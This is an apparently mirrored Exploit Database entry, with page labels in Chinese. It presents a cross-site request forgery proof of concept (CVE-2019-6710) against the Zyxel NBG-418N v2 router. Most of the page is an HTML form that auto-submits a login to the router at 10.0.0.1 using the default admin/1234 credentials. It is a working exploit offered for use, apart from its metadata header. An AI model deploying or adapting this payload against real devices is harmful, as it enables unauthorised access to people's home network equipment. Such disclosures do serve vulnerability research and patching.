Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 – Cross-Site Request Forgery

Exploit Database
135 阅读

作者： Ali Can Gönüllü

日期： 2019-01-24
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/46240/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

<!--

# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC

# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0

# Tested on: Windows 10 x64

# CVE : CVE-2019-6710

# Author : Ali Can Gönüllü

# Twitter : @alicangonullu

Exploits :

-->

<html><head>

<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>

</head><body>

<form action="http://10.0.0.1/login.cgi" method="POST">

<input type="text" name="username" id="username" value="admin" /><br />

<input type="text" name="password" id="password" value="1234" /><br />

<input id="loginBtn" onclick="return onlogin()" type='submit'

value='Go!' />

<input type="hidden" name="submit.htm?login.htm" value="Send">

</form>

</body></html>